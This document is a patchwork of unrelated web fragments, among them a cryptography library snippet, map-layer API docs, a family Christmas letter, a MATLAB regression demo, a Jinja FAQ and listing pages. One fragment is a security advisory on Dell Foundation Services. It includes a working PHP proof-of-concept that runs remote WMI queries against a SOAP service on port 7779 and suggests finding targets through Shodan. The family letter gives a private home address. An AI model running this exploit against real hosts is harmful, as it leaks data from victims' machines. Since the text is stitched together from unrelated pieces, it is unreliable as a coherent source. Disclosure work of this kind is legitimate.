OTSemiHonestDDHOnGroupElementSender sender;
//Creates input for the sender.
auto x0 = dlog.createRandomElement();
auto x1 = dlog.createRandomElement();
OTSOnGroupElementInput input(x0, x1);
//call the transfer part of the OT protocol
sender.transfer(&channel, &input);
Steps in receiver creation:
- Given a
Channel
object channel do: - Create an
OTReceiver
(for example,OTSemiHonestDDHOnGroupElementReceiver
). - Create input for the receiver. Usually, the input for the receiver contains only sigma parameter.
- Call the transfer function of the receiver with channel and the created input.
//Creates the OT receiver object.
OTSemiHonestDDHOnGroupElementReceiver receiver;
//Creates input for the receiver.
byte sigma = 1;
OTRBasicInput input(sigma);
OTROutput output = receiver.transfer(&channel, &input);
//use output…


Main Menu
Home
Membership
Log Out
Home
Logout
View Your Membership
Profile
Email:
Bio:
Stats for blackjack:


Covid Care App
Hello,Covid Control Center
View CFLTCs List
CFLTC List View
Available CFLTC Data
View all relevant information about CFLTCs here
CFLTC Id
CFLTC Name
Ward
Total Beds
Available Beds


Extends dispatch.
Constructs a new layer with the specified load function l, and optional unload function u. The layer constructor is not used directly unless implementing a custom layer; see the image and geoJson layers for reference implementations.
The load function is used by the tile
cache to create the tile element. It is invoked with two
arguments: the tile object and a tile projection constructor. Use of
the tile projection is optional.
Tile objects are a superset of coordinates; they have the standard row, column and zoom number attributes. The tile’s key attribute is an unique string based on the coordinate: “{Z}/{X}/{Y}”. The load function is responsible for populating the element attribute with an SVG element (such as a g or image element) that can be added to the layer container.
Tile projections are passed to the load function as a constructor. The constructor must be invoked, passing in the tile object, to construct the projection. Once constructed, the projection has a single attribute, locationPoint which has similar semantics to the map’s locationPoint method. However, the returned points are relative to the top-left corner of the tile (rather than the map), allowing the layer to reposition tiles without reprojecting.
Asynchronously-loaded tiles present some additional
requirements.
Load functions are responsible for setting the ready attribute of the tile to true when the tile is ready to be displayed. This avoids displaying tiles progressively as they load (for example, with images); the layer takes care of displaying cached “proxy” tiles at neighboring zoom levels while tiles are loading.
When the tile is ready, the load function must dispatch a load event on the layer. The load event must have a type string attribute with the value “load”, and a tile attribute referencing the tile object. The layer requires this load event in order to hide any proxy tiles that were displayed while the tile was loading.
If tiles are loaded asynchronously, the load function should store the request object returned by the queue on the request attribute. This allows the cache to cancel pending requests if necessary, such as when a tile with a queued request is no longer needed.
The unload function u should be implemented if tiles are loaded asynchronously, so as to abort the tile request. This method is invoked with a single argument of the tile object on tiles that are removed from the cache.
Returns the layer’s container element. The container is an SVG g element with the class attribute “layer”.
The container initially has seven child g elements that correspond to the tiles at various zoom levels relative to the map’s (rounded) zoom level. When all needed tiles are loaded, the proxy tiles are removed from the map and only the last g element contains tiles. These group elements have class attributes to allow zoom-dependent styling. This includes both relative zoom classes, such as “zoom-1” and “zoom+1”, and absolute zoom classes, such as “zoom9” and “zoom13”.
The layer container, the zoom-specific group elements, and the tiles themselves have transform attributes to control how tiles are displayed. Tiles are translated relative to the map center. The zoom-specific group elements then provide relative scaling (e.g., scale(2) for the -1 zoom layer). Lastly, the layer container is translated such that the origin is the center of the map’s viewport, with additional transformation as needed to support rotation, continuous zooming, and layer-specific affine transforms.
Sets or gets the id attribute on the layer’s container. If the argument x is specified, it is a unique string identifier for the layer, and this method returns this. If no arguments are specified, this method returns the current id. The id defaults to null, which means that no id attribute should be set on the container.
Adds this layer to the specified map x, removes this layer from its current map, or returns the current map. This method is typically not called directly, but is needed to support the map’s add and remove methods.
If the argument x is specified, this method returns this. If x is null, this layer is removed from its current map; otherwise, this layer is added to the specified map. If no arguments are specified, this method returns the current map, which may be null. Whew!
Sets or gets whether this layer is tiled. If the boolean argument x is specified, the method enables or disables tiling accordingly, and returns this. If no arguments are specified, the method returns true if and only if this layer is tiled.
Layers are tiled by default. Disabling tiling is useful if the associated data (say a static GeoJSON file) is not tiled, and thus you only want to display the data once.
Sets or gets whether the layer is visible. If the boolean argument x is specified, the method sets the visibility and returns this. If no arguments are specified, the method returns true if and only if this layer is visible.
Layers are visible by default. Invisible layers are useful for toggling visibility without changing z-order. Tiles for invisible layers are not loaded.
Sets or gets the layer zoom transform. If the argument x is specified, the method sets the zoom transform using the given zoom transform function. If x is a constant, it is wrapped in a function that returns x. If no arguments are specified, the method returns the zoom transform function, which defaults to null.
Zoom transform functions allow the layer to serve tiles at a different level from the map. For example, a layer might only have tiles at zoom level 4, and so set the zoom transform to the constant 4. Alternatively, a layer might using a min-max function to bound the set of available zoom levels: function(z) { return Math.max(4, Math.min(8, z)); }.
If the transformed zoom level is too far from the map’s zoom level, no tiles may be displayed. Currently, the transformed zoom level delta may be up to +2 and down to -4.
Layers use the dispatch mechanism to notify interested parties of events. Layers currently support only the “load” event.


Show me the offices
Commercial property platform to help tech startups easily find their ideal space to rent in Shoreditch.
What's Hot
Commercial Street
London E1
$9,000 /pcm
350sqm
Lease
12 months
Commercial Street
London E1
$9,000 /pcm
350sqm
Lease
12 months
Commercial Street
London E1
$9,000 /pcm
350sqm
Lease
12 months
Commercial Street
London E1
$9,000 /pcm
350sqm
Lease
12 months
Commercial Street
London E1
$9,000 /pcm
350sqm
Lease
12 months
Commercial Street
London E1
$9,000 /pcm
350sqm
Lease
12 months
Commercial Street
London E1
$9,000 /pcm
350sqm
Lease
12 months
Commercial Street
London E1
$9,000 /pcm
350sqm
Lease
12 months
Commercial Street
London E1
$9,000 /pcm
350sqm
Lease
12 months
Commercial Street
London E1
$9,000 /pcm
350sqm
Lease
12 months


We examine mices!
- drive magnetic web-readiness
- evolve wireless deliverables
- visualize interactive methodologies
- whiteboard seamless action-items
- cultivate plug-and-play interfaces
- disintermediate revolutionary initiatives
- transform transparent infrastructures
- utilize distributed functionalities
- deploy clicks-and-mortar metrics


HOME IN MONTE VISTA MOBILE HOME PARK IN ROY, UTAH. NOVEMBER 2014
We have moved again, we hope this will be our last one. We have bought a double wide mobile home in the Monte Vista Mobile Home Park in Roy, Utah, so not so far away. Our address is 3800 S 1900 W #283 in Roy. Ken’s brother, Bob, who lived upstairs in the Clinton home, has gone to an assisted living center in Layton and since they had their home on a reverse mortgage, that meant we needed to move also. We feel the Lord has blessed us to find this nice home in a nice community. We loved our home in Clinton, our wonderful neighbors and our great ward, but since we are getting older, the big yard and garden was hard to keep up with, so I think this is a good move. We have a small, but beautiful yard here with trees, shrubs and flowers. We have a large covered deck, which I will enjoy relaxing on in good weather. We are still getting settled, but every day is an improvement. Wow! We had to much “stuff” and with downsizing, it has been a challenge to decide what we need to keep and what we need to get rid of. Ken is working on our shed to insulate it and put the shelves back in plus more shelves, so I will be glad what that is done and we can get the stuff on the back deck put in it. I’m sure our neighbors will be glad too. We have great neighbors and a wonderful ward and community. Monte Vista Mobile Home Park is one ward, so it is interesting – no primary, young women’s, young men’s or Elder’s Quorum. It is just high priests and relief society because most are retired or older single people and there are lots of widows. They are wonderful people. We went to church here on Sunday for the first time and the lady I sat by in Relief Society invited me to come to the Daughters of the Utah Pioneer’s Christmas Party, which was the next day. I went and met more friends and had a wonderful time. I’m sure we will love it here.
For an update on our family, our granddaughter, Chelci, Sandi’s daughter, gave birth to identical twin sons on Ken’s birthday – February 27th. They are crawling now and so cute. Chelci & Steve invited us to their beautiful home in Grantsville on Thanksgiving and we surely enjoyed being there with Sandi and this cute family. Jacob & Luke joined Nathan and Addie as siblings. The dinner was delicious, but I got out of doing dishes as Nathan & Addie wanted me to play “Hide & Seek” with them, and that was fun. Sandi has a beautiful home in Tooele and works at Grantsville High. JaNae & Brad live in Stockton and have 3 special children. JaNae teaches clogging and is really talented. It was fun to watch her teach her oldest daughter, along with the rest of the class, when we went out to visit them last month.
Our grandson, David, (Mike & Becky’s son) married a cute girl, Sierra, in August. They are living in Logan where David is going to Utah State University, and Sierra hopes to go in the spring, but we will see as they are expecting their first child. Mike and Becky are excited to be grandparents. That will make 9 great grandchildren for Ken and I. Mike and Becky’s daughter, Paige and husband, Garrett, also live in Logan where Paige is in her junior year of the “Interior Design” program. She is a talented young woman. Maddi is a teenager now and a cute out-going girl. Jessie is 12 and in her last year of Elementary School. We are going to her choir concert on Friday. Mike is the principal at Orem High and Becky works at the elementary school.
Shellie & Roy also just moved. They moved from Queen Creek, AZ to Chandler, Arizona, so not so far away either. They are in a mess too as they are remodeling this home.  There are several lakes in their community. Their oldest son, Garrett, is in a dental program, so with school, work, church and his cute wife and little daughter, he keeps really busy. Shellie & Roy love being grandparents, and Quint, Kevis & Jase love their little niece too.
David & Shauna invited the family to their beautiful home in Enterprise (near Morgan, Utah) on Saturday, after Thanksgiving, where we ate, played games and visited. David is enjoying working as a PA in Dermatology. He and Dr. Harris keep really busy. Shauna is in the medical field too where she works part-time, from home, for McKay/Dee Hospital. Tyler plays basketball for Morgan High and loves it. Connor plays basketball too, but likes soccer and baseball better. Emily is really talented on the violin, and we love to hear her play.
Scott and Mishelle moved to a beautiful home in West Layton last year. Mishelle is very talented in many things and one of them is landscaping, so now they have a beautiful yard. She was big help to Ken & I in getting our new yard here in Roy cleaned up and ready for winter. Scott is a computer programmer and works for a company that does custom programming for Hill Air Force Base. Kylan is really talented both on the piano and with airplanes. He flies RC planes with adults at the flying field, not far from his home. Ashley loves creating things on “Mind Craft” and other sites on the computer and loves being with her cousins, Mike & Becky’s daughters, Maddi & Jessie. The twins, Kaden & Kaitlyn, keep Mishelle really busy, but she gets a breather when they are in kindergarten.
Jeff & Gail have a beautiful home in Layton, close to Hyw 89. Jeff loves the mountains so he loves to sit on his back deck and look at the, or take his oldest son, Ben, hiking up them. Jeff is a controller (in the accounting field) for three plants with his company. Gail keeps busy with their three children – Ben, Rachel and Matt, and keeping the household going smoothly. We enjoyed our annual vacation to Zion’s National Park with them this summer. Also, Sandi, Chelci and family joined us there. We all had a great time, even though we had lots of rain.
We were able to put our home together enough and the Christmas tree up, to have our annual older Grandchildren’s Christmas party last Saturday. One of the highlights of the party was doing service by going to an assisted living center in Clinton and putting on a program. We have some talented grandchildren, so that was fun to see them perform, plus we all sand Christmas carols. We will have the younger grandchildren’s Christmas party on the 27th. We are also looking forward to our annual Family Christmas Party, which will be on the 22nd. Scott and Mishelle are hosting it this year. Ken and I love being together with our special family, which total 46 at the present time.
**PUT UPDATE ON THIS MOVE AND WHAT WE ARE DOING NOW


Next you can try phpinfo.php.
If that works, then you are all set for installing your favourite CMS!
You can try installing one of these:
Check for instructions here.


% Sparse Relaxed Regularized Regression (SR3) demo In this file we demonstrate the use of the |sr3| MATLAB(R) routine on a few examples in regularized least squares fitting. The SR3 framework is an approach to problems of the form $$ \min_x \frac{1}{2} \|Ax-b\|_{\ell_2}^2 + \lambda R(C x) $$ where $R(Cx)$ represents some regularizer. For example, in LASSO style regression, we have that $C$ is the identity and $R(x)=\|x\|_{\ell_1}$. The relaxation comes in by introducing a variable $w$ which does a good job of minimizing the regularizer, while $x$ is allowed to vary a little around that. Consider instead the minimization problem $$ \min_{x,w} \frac{1}{2} \|Ax-b\|_{\ell_2}^2 + \lambda R(w) + \frac{\kappa}{2} \|Cx-w\|_{\ell_2}^2 $$ When $C$ is the identity, the variable $w$ tends to be a good approximation of the solution of the original problem. For sparse signal problems in particular, $w$ performs well at recovering the 'true' support. When $C$ is not the identity, the splitting into $x$ and $w$ allows for a simple prox-type operation to be applied to $w$ (for prox friendly $R$) as opposed to dealing with the more complicated penalty $R(Cx)$.
0001 %% Sparse Relaxed Regularized Regression (SR3) demo 0002 % 0003 % In this file we demonstrate the use of the |sr3| MATLAB(R) routine 0004 % on a few examples in regularized least squares fitting. 0005 % 0006 % The SR3 framework is an approach to problems of the form 0007 % 0008 % $$ \min_x \frac{1}{2} \|Ax-b\|_{\ell_2}^2 + \lambda R(C x) $$ 0009 % 0010 % where $R(Cx)$ represents some regularizer. For example, in LASSO 0011 % style regression, we have that $C$ is the identity and 0012 % $R(x)=\|x\|_{\ell_1}$. 0013 % 0014 % The relaxation comes in by introducing a variable $w$ which 0015 % does a good job of minimizing the regularizer, while $x$ is allowed 0016 % to vary a little around that. Consider instead the minimization 0017 % problem 0018 % 0019 % $$ \min_{x,w} \frac{1}{2} \|Ax-b\|_{\ell_2}^2 + \lambda R(w) 0020 % + \frac{\kappa}{2} \|Cx-w\|_{\ell_2}^2 $$ 0021 % 0022 % When $C$ is the identity, the variable $w$ tends to be a good 0023 % approximation of the solution of the original problem. For sparse 0024 % signal problems in particular, $w$ performs well at recovering 0025 % the 'true' support. When $C$ is not the identity, the splitting 0026 % into $x$ and $w$ allows for a simple prox-type operation to be 0027 % applied to $w$ (for prox friendly $R$) as opposed to dealing with 0028 % the more complicated penalty $R(Cx)$. 0029 0030 % initialize 0031 0032 clear; clf; close all; 0033 iseed = 8675309; 0034 rng(iseed); 0035 set(groot, 'defaultLineMarkerSize',10) 0036 set(groot, 'defaultLineLineWidth',2) 0037 0038 0039 %% Problem 1: $\ell_1$ vs $\ell_0$ penalties 0040 % 0041 % In this problem we test the performance of using SR3 to 0042 % recover a sparse signal. Here $R$ is either the $\ell_1$ 0043 % or $\ell_0$ penalty. We also plot the results of a least squares 0044 % fit and the built in |lasso| function (if available). This is a 0045 % relatively easy problem and all of the regularizers perform well, 0046 % beating the standard least squares approach for obvious reasons. 0047 0048 % matrix dimensions 0049 m = 200; 0050 n = 1000; 0051 k = 10; % number of non-zeros in true solution 0052 sigma = 1e-1; % additive noise 0053 0054 A = randn(m,n); 0055 0056 y = zeros(n,1); 0057 ind = randperm(n,k); 0058 y(ind) = sign(randn(k,1)); 0059 0060 b = A*y+sigma*randn(m,1); 0061 0062 % set up parameters of fit 0063 lam1 = 0.01; % good for l_1 regularizer 0064 lam0 = 0.004; % good for l_0 regularizer 0065 0066 % apply solver 0067 [x0, w0] = sr3(A, b, 'mode', '0', 'lam',lam0,'ptf',0); 0068 [x1, w1] = sr3(A, b, 'lam',lam1,'ptf',0); 0069 0070 % built-ins 0071 xl2 = A\b; 0072 if exist('lasso','builtin') 0073 xl1 = lasso(A,b,'Lambda',lam1); 0074 end 0075 0076 % plot solution 0077 % both regularizers perform well on this problem, though the $\ell_1$ 0078 % regularizer introduces a little more bias 0079 figure(); hold on; 0080 plot(y, '-*b'); plot(x0, '-xr'); plot(w0, '-og'); plot(x1, '-xc'); 0081 plot(w1, '-om'); scatter(1:length(xl2),xl2,'ok', ... 0082 'MarkerFaceAlpha',0.25,'MarkerEdgeAlpha',0.25); 0083 if exist('lasso','builtin') 0084 plot(xl1,'-ok'); 0085 legend('true signal', 'x0', 'w0', 'x1', 'w1','backslash','lasso'); 0086 else 0087 legend('true signal', 'x0', 'w0', 'x1', 'w1','backslash'); 0088 end 0089 0090 clear; 0091 0092 %% Problem 2: regularized derivatives 0093 % In this problem, we take random projections of a smooth signal 0094 % and attempt a reconstruction under a piecewise smoothness promoting 0095 % regularization. Specifically, we assume $x$ to be a piecewise smooth 0096 % 1D signal (though the measurements are possibly corrupted by noise). 0097 % We consider both $x$ given by a hat function and $x$ given by a 0098 % piecewise constant function. We then let $A$ be an $m \times n$ random 0099 % measurement matrix, with $m < n$. We set up $C$ to be the $n-1\times n$ 0100 % matrix mapping the signal to a finite difference approximation of the 0101 % derivative. We then reconstruct the signal as the cumulative sum of 0102 % $w$, adjusting for the integration constant. 0103 0104 0105 iseed = 8675309; 0106 rng(iseed); 0107 0108 n = 500; 0109 m = 100; 0110 sigma = 0.1; 0111 A = randn(m,n); 0112 0113 % set up signal as step function (sparse derivative assumption) 0114 0115 y = zeros(n,1); 0116 for i = 1:5 0117 y((i-1)*100+1:i*100) = i; 0118 end 0119 0120 b = A*y + sigma*randn(m,1); 0121 0122 e = ones(n,1); 0123 C = spdiags([-e,e],[0,1],n-1,n); % difference matrix 0124 0125 lam0 = 0.01; 0126 lam1 = 0.02; 0127 lam1_2 = 0.002; 0128 0129 % apply solver 0130 [x0, w0] = sr3(A, b, 'mode', '0', 'lam',lam0,'ptf',0,'C',C); 0131 [x1, w1] = sr3(A, b, 'mode', '1', 'lam',lam1,'ptf',0,'C',C); 0132 [x1_2, w1_2] = sr3(A, b, 'mode', '1', 'lam',lam1_2,'ptf',0,'C',C); 0133 0134 cs = cumsum([0;w0]); 0135 y0 = cs + (sum(x0)-sum(cs))/n; 0136 cs = cumsum([0;w1]); 0137 y1 = cs + (sum(x1)-sum(cs))/n; 0138 cs = cumsum([0;w1_2]); 0139 y1_2 = cs + (sum(x1_2)-sum(cs))/n; 0140 0141 figure() 0142 plot(y,'b') 0143 hold on 0144 plot(y0,'--r') 0145 plot(y1,'--g') 0146 plot(y1_2,'--m') 0147 0148 legend('true signal', 'l0', 'l1 v1', 'l1 v2'); 0149 0150 % set up signal as piecewise linear (Chartrand example) 0151 % note that here the regularization is on the second derivative 0152 % also, the regularization is sensitive to lambda 0153 0154 n = 100; 0155 0156 t = linspace(0,1,n).'; 0157 tmid = (t(2:end)+t(1:end-1))/2.0; 0158 h = t(2)-t(1); 0159 y = abs(t-0.5); 0160 0161 b = y + sigma*randn(n,1); 0162 0163 bstart = b(1); 0164 b = b-bstart; 0165 0166 sigma = 0.05; 0167 0168 A = tril(ones(n,n-1),-1)*h; 0169 e = ones(n,1); 0170 C = spdiags([-e,e],[0,1],n-2,n-1)/h; 0171 0172 lam0 = 0.007; 0173 lam1 = 0.001; 0174 0175 xi = diff(b)/h; 0176 wi = C*xi; 0177 0178 kappa0 = 1.0*h; 0179 kappa1 = 1.0*h; 0180 0181 % apply solver 0182 [x0, w0] = sr3(A, b, 'mode', '0', 'lam',lam0,'itm',10000,'ptf',0,... 0183 'C',C,'x0',xi,'w0',wi,'kap',kappa0); 0184 [x1, w1] = sr3(A, b, 'mode', '1', 'lam',lam1,'itm',10000,'ptf',0,... 0185 'C',C,'x0',xi,'w0',wi,'kap',kappa1); 0186 0187 0188 % reconstruct from w 0189 0190 cs = cumsum([0;w0])*h; 0191 sw0 = cs + (sum(x0)-sum(cs))/length(cs); 0192 sw0int = A*sw0; 0193 coeffs = [sw0int,ones(n,1)]\(b+bstart); 0194 y0 = coeffs(1)*sw0int + coeffs(2)*ones(n,1); 0195 cs = cumsum([0;w1])*h; 0196 sw1 = cs + (sum(x1)-sum(cs))/length(cs); 0197 sw1int = A*sw1; 0198 coeffs = [sw1int,ones(n,1)]\(b+bstart); 0199 y1 = coeffs(1)*sw1int + coeffs(2)*ones(n,1); 0200 0201 figure() 0202 plot(t,y,'b') 0203 hold on 0204 plot(t,b+bstart,'--','color',[0,0,0]+0.75); 0205 plot(t,y0,'--r') 0206 plot(t,y1,'--g') 0207 0208 legend('true signal','corrupted', 'l0', 'l1'); 0209 0210 figure() 0211 plot(tmid,diff(y),'-xb') 0212 hold on 0213 plot(tmid,diff(y0),'-xr') 0214 plot(tmid,diff(y1),'-xg') 0215 legend('true derivative', 'l0', 'l1');


Welcome to Window Engine !
Window Engine helps you start projects that need draggable windows.
Window Engine 4.3.7
Window Engine
Welcome to Window Engine !
Window Engine helps you start projects that need draggable windows.
Second Window
Cyan
With fade effect !
Third Window
Brown
With fade effect !
Fourth Window
Orange - Small
Fifth Window
Crimson - Large
Sixth Window
Green


This is a simple implementation of the ray casting
algorithm in JavaScript to produce a pseudo-3D effect, as seen in old-school FPS games.
Use WASD keys to move into the maze.
The picture is from the Dutch animated film Agent 327 (license CC-BY-SA, based on an original character © Martin Lodewijk)


Model of stellar population synthesis of the Galaxy
Catalogue simulation without kinematics, Johnson-Cousins photometric system
The resulting parameter file<PHONE_NUMBER>.430670.par has been built; a message will be sent to address<EMAIL_ADDRESS>when the simulation is complete
Summary of the parameters you supplied
A mail will be sent to address<EMAIL_ADDRESS>when the simulation is completed
The name of the file containing the result of the simulation will be:<PHONE_NUMBER>.430670.resu
Field of view:
distance step mode: progressive
small field
Longitude: 173
Latitude: 3
solid angle: 0.01
Extinction:
diffuse absorption: 0.700 mag/kpc
no discrete clouds
| parameter |
min |
max |
step |
| Absolute V magnitude |
-7.00 |
20.00 |
0.50 |
| Spectral type |
1 |
9.5 |
0.1 |
| Luminosity class |
1 |
7 |
1.00 |
| Population-age |
1 |
10 |
1 |
| [Fe/H] |
-4.20 |
1.50 |
0.30 |
| Distance |
0.000000 |
50.000000 |
2.00 |
| V app. magnitude |
-10 |
18.00 |
1 |
| B-V |
-99.00 |
99.00 |
10.00 |
| U-B |
-99.00 |
99.00 |
10.00 |
| V-I |
-99.00 |
99.00 |
10.00 |
| V-K |
-99.00 |
99.00 |
10.00 |
| LogTeff |
3.00 |
6.00 |
0.10 |
Errors:
error mode:parabolic
error = A + B*m + C*m2
photometric errors:
| photometric band |
A |
B |
C |
| V |
0.000000 |
0.000000 |
0.000000 |
| B |
0.000000 |
0.000000 |
0.000000 |
| U |
0.000000 |
0.000000 |
0.000000 |
| R |
0.000000 |
0.000000 |
0.000000 |
| I |
0.000000 |
0.000000 |
0.000000 |
| J |
0.000000 |
0.000000 |
0.000000 |
| H |
0.000000 |
0.000000 |
0.000000 |
| K |
0.000000 |
0.000000 |
0.000000 |
| L |
0.000000 |
0.000000 |
0.000000 |


Security Advisory: Dell Foundation Services Remote Information Disclosure (II)
By slipstream/RoL.
Overview
Dell Foundation Services (otherwise known by its internal name of "Tribbles") "provides a core set of foundational services facilitating customer serviceability, messaging and support functions".
Issues
Dell Foundation Services starts an HTTPd that listens on port 7779. The previous service tag leak was fixed by removing the JSONP API.
However, the webservice in question is still available; it is now a SOAP service, and all methods of that webservice can be accessed, not just the ServiceTag method.
One of the methods accessible is List<WmiManagementItem> GetWmiCollection(string wmiQuery)
- this returns the results of a given Windows Management Instrumentation (WMI) query, enabling access to information about hardware, installed software, running processes, installed services, accessible hard disks, filesystem metadata (filenames, file size, dates) and more.
WMI is "the infrastructure for management data and operations on Windows-based operating systems".
Many potentially vulnerable hosts can be found via Shodan and the issue can also be exploited over a LAN.
Quick PHP one-liner proof-of-concept:
php -r "function wmic($ip,$query) { var_dump(dowmic($ip,$query)); } function dowmic($ip,$query) { return callApi($ip,'GetWmiCollection',array(new SoapVar($query,XSD_STRING,null,null,'wmiQuery','http://tempuri.org/'))); } function callApi($ip,$method,$params = array()) { return (new SoapClient(null,array('location'=>'http://'.$ip.':7779/Dell%20Foundation%20Services/ISystemInfoCapabilitiesApi','uri'=>'http://tempuri.org/')))->__soapCall($method,$params,array('soapaction'=>'http://tempuri.org/ISystemInfoCapabilitiesApi/'.$method)); } wmic('','');"
This can be expanded to:
<?php
function wmic($ip,$query) {
var_dump(dowmic($ip,$query));
}
function dowmic($ip,$query) {
return callApi($ip,'GetWmiCollection',array(new SoapVar($query,XSD_STRING,null,null,'wmiQuery','http://tempuri.org/')));
}
function callApi($ip,$method,$params = array()) {
return (
new SoapClient(null,array('location'=>'http://'.$ip.':7779/Dell%20Foundation%20Services/ISystemInfoCapabilitiesApi','uri'=>'http://tempuri.org/'))
)->__soapCall($method,$params,array('soapaction'=>'http://tempuri.org/ISystemInfoCapabilitiesApi/'.$method));
}
wmic('','');
Affected Versions
3.0.700.0.
Solution
Uninstallation of Dell Foundation Services will prevent exploitation of the issue. The researchers cannot sanction any mitigations except to remove this software definitively from any affected devices.


China Telecom • Mobile Internet Business Unit
Passionate · Creative · Devoted
|<EMAIL_ADDRESS>| |
| GitHub |
2016.07 - nowWeb Front-End Developer
China Telecom Field assistantResponsible for the product upgrade in platform side ; Reconstruct the existing code based on the React technology stack.2014.12-2016.04Lab Research project
Online video processing platform.video automatic timing recording in Linux platform; real-time image capture;video process.VINCIInternship
2015.04-2015.06Web Front-End Developer
Work with Visual designer, design and develop the Official Website of VINCI--Website has been revisedSiemens Co.,Ltd. ChinaInternship
2015.09-2015.11Net operation and optimization
Responsible for internal network operation and optimization, including code compatibility processing, webpage reconstruction, content updates, etc.China Telecom Co.,Ltd. BeijingInternship
2015.07-2015.08Web Developer
Advertising management platform. Customer management; Advertising management; Advertising display and click volume statistics


Nottingham Forest have had 'discussions' with Marseille midfielder
Reds' head of international recruitment Jose Anigo was spotted watching Rahou in action for Marseille reserves earlier this month
by James PallattNottingham Forest are said to be interested in teenage Marseille attacking midfielder Jores Rahou.
La Provence say the 16-year-old has "had discussions" with the Reds' head of international recruitment, Jose Anigo, while Bundesliga clubs Red Bull Leipzig and Bayer Leverkusen have both "made enquiries" about the youngster.
Rahou, who has made two appearances for Marseille's reserve side, is said to be under contract at the French club until 2021.
Anigo was spotted watching Rahou in action for Marseille reserves earlier this month, in a 3-1 defeat to RC Grasse at the Paul Le Cesne Stadium.
Rahou has been with Marseille since the age of seven, and spent some of pre-season training with the first team squad.


This page answers some of the often asked questions about Jinja.
The name Jinja was chosen because it’s the name of a Japanese temple and temple and template share a similar pronunciation. It is not named after the city in Uganda.
We really hate benchmarks especially since they don’t reflect much. The performance of a template depends on many factors and you would have to benchmark different engines in different situations. The benchmarks from the testsuite show that Jinja2 has a similar performance to Mako and is between 10 and 20 times faster than Django’s template engine or Genshi. These numbers should be taken with tons of salt as the benchmarks that took these numbers only test a few performance related situations such as looping. Generally speaking the performance of a template engine doesn’t matter much as the usual bottleneck in a web application is either the database or the application code.
The default syntax of Jinja2 matches Django syntax in many ways. However this similarity doesn’t mean that you can use a Django template unmodified in Jinja2. For example filter arguments use a function call syntax rather than a colon to separate filter name and arguments. Additionally the extension interface in Jinja is fundamentally different from the Django one which means that your custom tags won’t work any longer.
Generally speaking you will use much less custom extensions as the Jinja template system allows you to use a certain subset of Python expressions which can replace most Django extensions. For example instead of using something like this:
{% load comments %}
{% get_latest_comments 10 as latest_comments %}
{% for comment in latest_comments %}
...
{% endfor %}
You will most likely provide an object with attributes to retrieve comments from the database:
{% for comment in models.comments.latest(10) %}
...
{% endfor %}
Or directly provide the model for quick testing:
{% for comment in Comment.objects.order_by('-pub_date')[:10] %}
...
{% endfor %}
Please keep in mind that even though you may put such things into templates it still isn’t a good idea. Queries should go into the view code and not the template!
Without a doubt you should try to remove as much logic from templates as possible.  A template engine that does that is shipped with Python and called string.Template. Comes without loops and if conditions and is by far the fastest template engine you can get for Python.
So some amount of logic is required in templates to keep everyone happy. And Jinja leaves it pretty much to you how much logic you want to put into templates. There are some restrictions in what you can do and what not.
Jinja2 neither allows you to put arbitrary Python code into templates nor does it allow all Python expressions. The operators are limited to the most common ones and more advanced expressions such as list comprehensions and generator expressions are not supported. This keeps the template engine easier to maintain and templates more readable.
There are multiple reasons why automatic escaping is not the default mode and also not the recommended one. While automatic escaping of variables means that you will less likely have an XSS problem it also causes a huge amount of extra processing in the template engine which can cause serious performance problems. As Python doesn’t provide a way to mark strings as unsafe Jinja has to hack around that limitation by providing a custom string class (the Markup string) that safely interacts with safe and unsafe strings.
With explicit escaping however the template engine doesn’t have to perform any safety checks on variables. Also a human knows not to escape integers or strings that may never contain characters one has to escape or already HTML markup. For example when iterating over a list over a table of integers and floats for a table of statistics the template designer can omit the escaping because he knows that integers or floats don’t contain any unsafe parameters.
Additionally Jinja2 is a general purpose template engine and not only used for HTML/XML generation. For example you may generate LaTeX, emails, CSS, JavaScript, or configuration files.
When writing a contextfunction() or something similar you may have noticed that the context tries to stop you from modifying it. If you have managed to modify the context by using an internal context API you may have noticed that changes in the context don’t seem to be visible in the template. The reason for this is that Jinja uses the context only as primary data source for template variables for performance reasons.
If you want to modify the context write a function that returns a variable instead that one can assign to a variable by using set:
{% set comments = get_latest_comments() %}
If the debugsupport module is not compiled and you are using a Python installation without ctypes (Python 2.4 without ctypes, Jython or Google’s AppEngine) Jinja2 is unable to provide correct debugging information and the traceback may be incomplete. There is currently no good workaround for Jython or the AppEngine as ctypes is unavailable there and it’s not possible to use the debugsupport extension.
If you are working in the Google Appengine development server you can whitelist the ctypes module to restore the tracebacks. This however won’t work in production environments:
import os
if os.environ.get('SERVER_SOFTWARE', '').startswith('Dev'):
from google.appengine.tools.dev_appserver import HardenedModulesHook
HardenedModulesHook._WHITE_LIST_C_MODULES += ['_ctypes', 'gestalt']
Credit for this snippet goes to Thomas Johansson
Python 2.3 is missing a lot of features that are used heavily in Jinja2. This decision was made as with the upcoming Python 2.6 and 3.0 versions it becomes harder to maintain the code for older Python versions. If you really need Python 2.3 support you either have to use Jinja 1 or other templating engines that still support 2.3.
In some situations the Jinja scoping appears arbitrary:
layout.tmpl:
{% macro foo() %}LAYOUT{% endmacro %}
{% block body %}{% endblock %}
child.tmpl:
{% extends 'layout.tmpl' %}
{% macro foo() %}CHILD{% endmacro %}
{% block body %}{{ foo() }}{% endblock %}
This will print LAYOUT in Jinja2. This is a side effect of having the parent template evaluated after the child one. This allows child templates passing information to the parent template. To avoid this issue rename the macro or variable in the parent template to have an uncommon prefix.


Good Programming Practices call attention to techniques that will help you produce programs that are clearer, more understandable and more maintainable.
Error-Prevention Tips contain suggestions for exposing bugs and removing them from your programs; many describe aspects of programming that prevent bugs from getting into programs in the first place.
Common Programming Errors point out the errors that students tend to make frequently. These Common Programming Errors reduce the likelihood that you'll make the same mistakes.
Software Engineering Observations highlight architectural and design issues that affect the construction of software systems, especially large-scale systems.


Trader Galibredo:
Come on in! I've been waiting for you. How did you do?
Let me say this to you again.  I trust that you destroyed them and recovered my goods?
Settle the account now.
Settle the account later.
Quit.


A website requested that you sign a message using some IRMA attributes. Please scan the QR code with your phone.


Kanekta is an online B2B marketplace that connects ethical fashion and lifestyle brands to retailers across the world. We broaden the reach of our partner brands while curating a stylish selection for retail buyers. By bringing the buying process onto our intelligent platform, we are rethinking retail procurement.
There is a large supply of products made as a means to lift communities or set an example for sustainable business practice. We believe in collective action, and together with our partner brands and retailers, we aim to make ethical purchasing the norm.
Feel free to reach us at<EMAIL_ADDRESS>For updates, please sign up below.


--- layout: post title: Spaceship date: '2016-08-27T23:50:27+02:00' categories: - Sketchbooks - Sketches picture_url: https://film-Storyboards.tumblr.com/post/149587254866 ---


